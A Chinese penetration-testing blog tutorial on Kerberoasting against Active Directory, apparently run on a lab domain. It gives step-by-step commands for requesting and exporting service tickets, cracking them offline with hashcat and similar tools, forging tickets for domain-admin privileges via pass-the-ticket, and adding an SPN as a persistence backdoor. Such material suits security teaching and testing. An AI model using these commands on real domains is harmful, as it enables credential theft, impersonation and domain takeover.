域渗透-Kerberoasting Attack

释放双眼,带上耳机,听听看~!

一、概述

黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键。

 二、Kerberoasting攻击流程

  • 1. 发现服务主体名称(SPN)
  • 2. 请求服务票据
  • 3. 导出服务票据
  • 4. 破解服务票据
  • 5. 重写服务票据&RAM注入

三、请求服务票据

  1. Powershell
  1. AddTypeAssemblyNameSystem.IdentityModel
  2. NewObjectSystem.IdentityModel.Tokens.KerberosRequestorSecurityTokenArgumentList“PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80”

getImage?fileId=5dd16061ab64414b29000a75

批量请求所有的SPN:

  1. AddType AssemblyName System.IdentityModel  
  2. setspn.exe */* | Select-String ‘^CN’ -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } 

 

Mimikatz

  1. mimikatz.exe “kerberos::ask /target:PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80”

GetUserSPNs

  1. python GetUserSPNs.py request pentestlab.local/test

PS:该工具支持提供域用户凭证从非域成员机器请求票据

四、查看票据是否申请成功

    1. klist

getImage?fileId=5dd16096ab6441492c000ab2

PS:klist purge 清空所有票据缓存

    2. Mimikatz

  1. mimikatz.exe “kerberos::list”

getImage?fileId=5dd160bfab6441492c000ab3

    3. MSF

  1. load kiwi
  2. kerberos_ticket_list
  1. kiwi_cmd kerberos::list

    4. RiskySPN

该脚本可以自动识别包含弱密码的票据,并且提供的信息比较详细,包括组信息,密码有效期等

  1. FindPotentiallyCrackableAccounts FullData Verbose

getImage?fileId=5dd160dfab6441492c000ab6

 

  1. FindPotentiallyCrackableAccounts Domain “pentestlab.local”

getImage?fileId=5dd1611bab6441492c000ab9

  1. ExportPotentiallyCrackableAccounts # 导出csv格式

getImage?fileId=5dd16143ab64414b29000a7f

 

PS:选择Kerberos服务票证是弱密码的,容易破解,可以通过下列因素来确定:
(1)SPNs绑定到域用户账户
(2)最后一次密码设置(Password last set)
(3)密码过期时间
(4)最后一次登录(Last logon)
(5)加密方式(TGT支持AES256,AES128,RC4-HMAC和3DES等加密方式,其中RC4_HMAC_MD5可破解)

 

五、导出服务票据

    1. Mimikatz

  1. mimikatz.exe “standard::base64” “kerberos::list /export” # 将内容base64输出保存

getImage?fileId=5dd16161ab64414b29000a82

 

    2. kerberoast

  1. InvokeAutoKerberoast
  2. InvokeAutoKerberoast GroupName “Domain Admins”
  3. InvokeAutoKerberoast Domain dev.testlab.local
  4. InvokeAutoKerberoast SPN MSSQLSvc/sqlBox.testlab.local:1433
  5. InvokeAutoKerberoast DomainController 172.20.200.100 

getImage?fileId=5dd1617cab6441492c000abb

    3. Get-TGSCipher

Get-TGSCipher可以以三种不同的格式提取服务票据的密码哈希值:John,Hashcat和Kerberoast,输出到命令行

  1. GetTGSCipher SPN “PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80” Format John
  2. GetTGSCipher SPN “HTTP/WebServer.lab.com” Format Hashcat 

getImage?fileId=5dd16196ab64414b29000a8b

    4. Invoke-Kerberoast.ps1

  1. InvokeKerberoast  OutputFormat Hashcat 

getImage?fileId=5dd161b5ab64414b29000a8c

直接提取hash

  1. InvokeKerberoast  OutputFormat Hashcat | Select hash | ConvertToCSV NoTypeInformation

getImage?fileId=5dd161c2ab64414b29000a8e

 

六、破解服务票据

    1. tgsrepcrack.py

  1. python tgsrepcrack.py /root/passwd.txt PENTESTLAB_001.kirbi

getImage?fileId=5dd161e8ab6441492c000abf

 

    2. tgscrack

  1. python extractServiceTicketParts.py PENTESTLAB_001.kirbi > hash.txt # 在TGS_REP消息中提取加密的服务票证部分
  2. tgscrack.exe hashfile hash.txt wordlist passwords.txt # 破解

getImage?fileId=5dd16202ab6441492c000ac1

    3. hashcat

  1. hashcat 13100 hash.txt passwd.txt o found.txt force

getImage?fileId=5dd1621fab64414b29000a92

在测试的过程中发现上述破解成功的并不是真正的密码,在found.txt中的密码才是正确的,原因不详

getImage?fileId=5dd1622aab64414b29000a93

 

七、重写服务票据&RAM注入

Kerberos票据使用密码的NTLM哈希签名。如果票据散列已被破解,那么可以使用Kerberoast python脚本重写票据。这将允许在服务将被访问时模拟任何域用户或伪造账户。此外,提权也是可能的,因为用户可以被添加到诸如域管理员的高权限组中。

  1. python kerberoast.py Password123 r PENTESTLAB_001.kirbi w PENTESTLAB.kirbi 500
  2. python kerberoast.py Password123 r PENTESTLAB_001.kirbi w PENTESTLAB.kirbi 512
  3. mimikatz.exe kerberos::ptt PENTESTLAB.kirbi # 将新生成的票据注入内存

 

八、后门利用

在获取SPN的修改权限后,可以为指定的域用户添加一个SPN,这样可以随时获得该域用户的TGS,经过破解后获得明文口令。例如为域用户Administrator添加SPN VNC/DC1.test.com,参数如下:

  1. setspn.exe A VNC/DC1.test.com Administrator

在域内任意一台主机都能获得该SPN,并且能够使用Kerberoast获得TGS,在通过hashcat破解即可。

 

参考连接:

  1. https://www.freebuf.com/articles/system/174967.html
  2. https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberoasting/

 

渗透教程漏洞系统安全质量好文

CVE-­2020­-0796(SMBGhost)漏洞利用

2020-6-7 18:08:56

WEB安全安全工具质量好文

FinalRecon 您需要的最后一个 Web 侦查工具

2020-6-20 22:43:02

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
有新私信 私信列表
搜索